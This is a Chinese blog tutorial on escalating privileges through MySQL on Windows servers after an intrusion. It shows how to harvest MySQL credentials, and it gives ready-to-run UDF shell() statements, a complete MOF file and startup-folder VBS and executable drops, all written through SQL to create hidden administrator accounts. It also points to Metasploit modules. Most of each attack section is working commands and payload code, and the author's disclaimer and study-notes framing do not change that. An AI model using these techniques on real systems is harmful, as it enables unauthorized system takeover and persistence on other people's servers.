数据库提权
数据库提权是后渗透阶段的其中一种常用提权的方式,所以,我们需要熟悉常见的数据库,以及常用的提权方法,方能在遇到的时候作为一个突破点(这篇是之前的库存~)
MySql
MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一。
MySql提权基础
一、MySql提权具备条件
1、mysql数据库需要以系统权限继承(默认)
2、需要获取mysql root账号密码
二、MySql密码获取
1、查找数据库user表文件
Windows:MySQL默认配置文件保存在 “MySQL\data\mysql” 该目录下的 user.* 中。
Linux:查看 /var/lib/mysql/mysql
除此之外linux还可以查看history记录 /root/.bash_history 、 /root/.mysql_history 等等一系列信息收集
2、查找网站的数据库配置文件
一般网站系统都会有一个文件用来连接数据库,一般存在 config、application、conn、db 等配置相关的文件。如果是知道cms系统的话,直接去搜索相关的信息就好了。
3、通过查询语句获得密码
直接通过以下查询语句直接查询mysql数据库中的所有用户和密码。
select user,password from mysql.user;
select user,password from mysql.user where user ='root';
4、Brute force
如果目标网站有对外开启3306端口的话,可以使用Hydra、John等等相关工具进行暴力破解。
5、对于MySQL加密算法
MySQL 4.1 版本之前是 MySQL323 (16位)加密,MySQL 4.1 和之后的版本是MySQLSHA1(41位) 加密
UDF提权
漏洞原理:
UDF(user-defined function)提供MySQL的一个扩展接口。UDF提权就是利用这个扩展接口的调用来执行代码。
利用条件:
1. Windows <= 2008
2. MySQL 在 "MySQL\lib\plugin"或者"c:/windows/system32/" 目录有写权限
3. 拥有MySQL的账号并且能够insert和delete权限以创建和抛弃函数
漏洞利用:
一、利用udf.php文件来提权,udf相关的提权php文件在github上面有很多,这里就不贴出了。
1、dump “udf.dll” 到”MySQL\lib\plugin”(MySQL > 5.2);如果MySQL < 5.2 导出到 “c:/windows/system32/“.
“MySQL\lib\plugin”目录必须存在,如果不存在的话,可以使用NTFS ADS流来创建文件夹
select @@basedir; //查找到MySQL的安装目录
# 下面的 dumpfile需要更改成你对应的MySQL目录(如:C:/phpStudy/MySQL/lib)
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
2、执行select语句进行提权
创建用户
加入超级管理员组
具体select如下:
select shell('cmd' ,'net user test 123456 /add'); # 创建test用户
select shell('cmd' ,'net localgroup administrators test /add'); # 加入超级管理员组
drop function shell; # 删除函数
delete from mysql.func where name='shell' # 删除函数
其他功能函数说明:
about 帮助函数
cmdshell 执行cmd
open3389 开启3389终端服务
backshell 反弹shell
ProcessView 枚举系统进程
除了利用udf.php文件之外,同样也可以使用MSF进行提权。相关的exploit为:
exploit/multi/mysql/mysql_udf_payload
MOF提权
漏洞原理:
MOF的提权原理是利用MOF文件以系统权限每隔一段时间执行。所以我们可以通过MySQL语句将文件写入一个MOF文件替换掉原有的MOF文件,通过控制MOF文件的vbs脚本的内容让系统执行命令,进行提权。
MySql远程提权,其中Windows管理规范(WMI)提供了三种方法编译WMI存储库的托管对象格式(MOF)文件:
1.运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
2.使用 IMofCompiler 接口和 $ CompileFile 方法。
3.拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
我们使用的就是第三种方法了。
利用条件:
1. Windows <= 2003
2. MySQL 在 c:/windows/system32/wbem/mof/ 目录有写权限
3. 已知数据库账号密码
4. secure-file-priv参数不为null
漏洞利用:
1、上传一个mof文件,任意可以写入的文件夹(C:/phpStudy/WWW/nullevt.mof)
mof文件如下:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin 12345678 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
2、执行select语句
select load_file('C:/phpStudy/WWW/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
如果出现导入文件提示 –secure-file-priv option 问题,可以修改相关配置文件。参考这篇文章
load_file是要移动的文件,dumpfile移动到’c:/windows/system32/wbem/mof/nullevt.mof’,这个地方是固定的。
执行成功之后,会新建一个用户,需要再次上传,将用户加入管理员组。
net.exe user admin 12345678 /add
net.exe user localgroup administrators admin /add
之后可以开启3389进行远程控制,或者Telnet等等。除了上面的提权方法还可以利用MSF相关exploit进行提权:
use exploit/windows/mysql/mysql_mof
可以参考这篇文章
vbs、bat启动项提权
漏洞原理:
其原理就是利用MySQL数据库的写功能,进行脚本的写入。让服务器重启,从而执行启动项的脚本代码,进而提权。
利用条件:
1.拥有写入启动项文件夹的权限
2.能够使服务器重启
漏洞利用:
使用webshell连接上数据库之后,建立表a,将VBS写入表里,之后导入启动项文件夹,需要有启动项文件的写入权限,0表示不弹出CMD窗口运行。
1、建立表a
2、创建完成之后利用 insert into a values将要运行的命令写入表里,之后导入到启动项文件夹。
执行完成之后对应的文件夹就会存在一个vbs文件了。
具体代码如下:
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user aqyoung 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators aqyoung /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
3、想办法让服务器重启,即可创建管理员账号。
除此之外还有另外一种写法:
create table a (cmd BLOB);
insert into a values (CONVERT(木马的16进制代码,CHAR));
select * from a into dumpfile ’C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe’
drop table a;
利用方法和上面一样。
小结
MySQL的提权上面是三种比较经典的提权方式了,他们的共同原理都是利用sql语句,将要执行的代码文件,移动到对应会执行的文件夹,比如说(启动项、mof文件);还有一种方式就是可能类似于用户自定义函数来执行代码了。从网上的文章中也发现有很多其他的方法,后续还需要更多实践了。没有实践都是纸上谈兵。
距上次写MySQL提权已经差不多两周的时间了,因为自己的一些事情所以没有办法。然后复现这些漏洞主要是帮助自己理解这些漏洞原理,以及一个提高一个实际操作能力。
声明:
- 笔者初衷用于分享与交流网络知识,若读者因此作出任何危害网络安全行为后果自负,与作者无关!